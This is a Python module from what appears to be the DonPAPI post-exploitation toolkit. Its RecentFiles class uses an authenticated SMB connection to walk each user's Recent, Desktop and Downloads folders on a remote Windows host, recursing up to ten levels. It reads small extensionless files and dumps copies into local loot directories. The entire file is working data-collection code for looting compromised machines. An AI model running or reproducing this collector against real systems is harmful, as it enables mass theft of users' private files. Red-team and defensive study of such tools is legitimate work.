import os
import ntpath
from typing import Any
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from donpapi.core import DonPAPICore
from donpapi.lib.logger import DonPAPIAdapter
from donpapi.lib.utils import dump_file_to_loot_directories



class RecentFiles:
    user_directories = [
        "Users\\{username}\\Recent",
        "Users\\{username}\\Desktop",
        "Users\\{username}\\Downloads"
    ]

    def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: list, options: Any, logger: DonPAPIAdapter, context: DonPAPICore, false_positive: list, max_filesize: int) -> None:
        self.tag = self.__class__.__name__
        self.target = target
        self.conn = conn
        self.masterkeys = masterkeys
        self.options = options
        self.logger = logger
        self.context = context
        self.found = 0
        self.false_positive = false_positive
        self.max_filesize = max_filesize

    def run(self):
        self.logger.display("Gathering recent files, desktop and download files")
        for user in self.context.users:
            for directory in self.user_directories:
                directory_path = directory.format(username = user)
                self.dig_files(directory_path = directory_path, recurse_level = 0, recurse_max = 10)

        if self.found > 0:
            self.logger.secret(f"Found {self.found} recent, desktop and download files", self.tag)

    def dig_files(self, directory_path, recurse_level = 0, recurse_max = 10):
            directory_list = self.conn.remote_list_dir(self.context.share, directory_path)
            if directory_list is not None:
                for item in directory_list:
                    if item.get_longname() not in self.false_positive:
                        new_path = ntpath.join(directory_path,item.get_longname())
                        if item.is_directory() > 0:
                            if recurse_level < recurse_max:
                                self.dig_files(directory_path = new_path, recurse_level = recurse_level + 1, recurse_max = recurse_max)
                        else:
                            if item.get_longname().find(".") == -1 and item.get_filesize() < self.max_filesize: 
                                file_content = self.conn.readFile(self.context.share, new_path)
                                if file_content is not None:
                                    self.found += 1
                                    absolute_local_filepath = os.path.join(self.context.target_output_dir, *(new_path.split('\\')))
                                    dump_file_to_loot_directories(absolute_local_filepath, file_content)
                                    
                                    collector_dir_local_filepath = os.path.join(self.context.global_output_dir, self.tag, new_path.replace("\\", "_"))
                                    dump_file_to_loot_directories(collector_dir_local_filepath, file_content)